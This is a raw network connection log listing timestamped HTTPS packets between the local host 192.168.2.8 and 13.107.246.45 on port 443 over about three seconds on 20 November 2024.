Nov 20, 2024 13:29:11.500446081 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.500592947 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.500611067 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.504595041 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.504623890 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.504676104 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.504698038 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.504839897 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.504854918 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.504863024 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.505002022 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.505038023 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.505074024 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.506764889 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.506798029 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.506865978 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.507010937 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.507026911 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.576108932 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.578944921 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.578989983 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.579545975 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.579554081 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.580493927 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.580873966 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.580913067 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.581311941 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.581320047 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.679810047 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.679850101 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.679933071 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.679986954 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.680114985 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.680174112 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.680269957 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.680306911 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.680335045 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.680351019 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.683310986 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.683382034 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.683430910 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.683465004 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.683701038 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.683725119 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.683736086 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.683747053 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.683759928 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.683816910 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.683836937 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.683954954 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.683995008 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.684050083 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.684058905 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.686136961 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.686242104 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.686343908 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.686464071 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.686492920 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.286158085 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.287486076 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.287552118 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.288708925 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.288726091 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.289308071 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.289711952 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.289745092 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.290122986 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.290133953 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.292154074 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.292515993 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.292550087 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.292901039 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.292910099 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.386449099 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.386512995 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.386794090 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.386883020 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.386883020 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.386930943 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.386960030 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.390058041 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.390113115 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.390222073 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.390400887 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.390434027 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.392406940 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.392597914 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.392667055 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.392718077 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.392718077 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.392744064 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.392757893 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.393584013 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.393743038 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.393812895 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.393959999 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.393985033 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.394001961 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.394011021 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.395251036 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.395291090 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.395381927 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.395498991 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.395513058 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.395984888 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.396013021 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.396079063 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.396229029 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.396251917 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.475303888 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.476263046 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.476350069 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.476519108 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.476691008 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.476707935 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.476978064 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.477005005 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.477334023 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.477339983 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.580730915 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.580807924 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.580986023 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.581058025 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.581130028 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.581161976 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.581279993 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.581331968 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.581386089 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.581440926 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.581442118 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.581464052 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.581484079 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.581532955 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.581633091 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.581691980 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.582783937 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.582819939 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.582840919 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.582855940 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.584587097 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.584625006 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.584702969 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.584903002 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.584918022 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.589370966 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.589421034 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:12.589493036 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.589653969 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:12.589669943 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.024260998 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.025136948 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.025202990 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.025453091 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.025468111 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.033554077 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.033938885 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.033957958 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.034300089 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.034305096 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.072643042 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.073215961 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.073227882 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.073649883 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.073654890 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.134243011 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.134268999 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.134392023 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.134418964 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.134721994 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.134742975 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.134778976 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.134905100 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.134939909 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.134989977 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.137768030 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.137809038 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.137885094 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.138027906 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.138035059 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.143764973 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.143835068 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.143879890 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.143909931 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.143924952 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.143953085 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.143974066 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.182199001 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.182250023 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.182416916 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.182416916 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.182461977 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.182609081 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.182631016 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.182646990 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.182653904 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.185789108 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.185828924 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.185920000 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.186089039 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.186098099 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.227355003 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.227485895 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.227503061 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.227528095 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.227577925 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.227628946 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.227643013 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.227653980 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.227658987 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.230364084 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.230405092 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.230473042 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.230604887 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.230614901 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.244721889 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.245182037 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.245192051 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.245631933 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.245636940 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.266000032 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.266511917 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.266530991 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.266918898 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.266923904 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.363095045 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.363125086 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.363215923 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.363343954 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.363360882 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.363410950 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.363802910 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.369615078 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.369668961 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.369734049 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.369745970 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.369795084 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.369800091 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.369883060 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.369910002 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.369932890 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.369944096 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.369951963 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.369961023 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.369965076 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.373620033 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.373652935 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.373754025 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.373953104 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.373965979 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.448843002 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.448920965 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.448929071 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.448961973 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.448978901 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.448992968 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.449009895 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.449040890 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.451004982 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.451024055 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.451035023 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.451040983 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.457747936 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.457783937 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.457859993 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.458095074 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.458110094 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.776804924 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.777435064 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.777466059 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.778085947 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.778093100 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.852174997 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.852824926 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.852919102 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.853652954 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.853676081 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.873328924 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.874108076 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.874129057 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.874667883 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.874674082 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.888886929 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.888907909 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.889019966 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.889029980 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.889169931 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.889238119 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.889333010 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.889353991 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.889369965 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.889375925 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.893248081 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.893290043 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.893387079 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.893549919 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.893570900 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.956526995 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.956624031 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.956748009 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.956985950 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.957050085 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.957113028 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.957150936 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.960511923 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.960561991 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.960656881 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.960853100 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.960860968 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.976516008 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.976670980 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.976752043 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.976896048 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.976905107 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.976919889 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.976924896 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.983695984 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.983773947 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:13.983880997 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.984065056 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:13.984096050 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.015633106 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.019510984 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.019526958 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.020167112 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.020174026 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.115978003 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.116528034 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.116549969 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.117206097 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.117213011 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.181016922 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.181307077 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.181427002 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.181552887 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.181569099 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.185069084 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.185121059 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.185197115 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.185379028 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.185398102 CET	443	50082	13.107.246.45	192.168.2.8
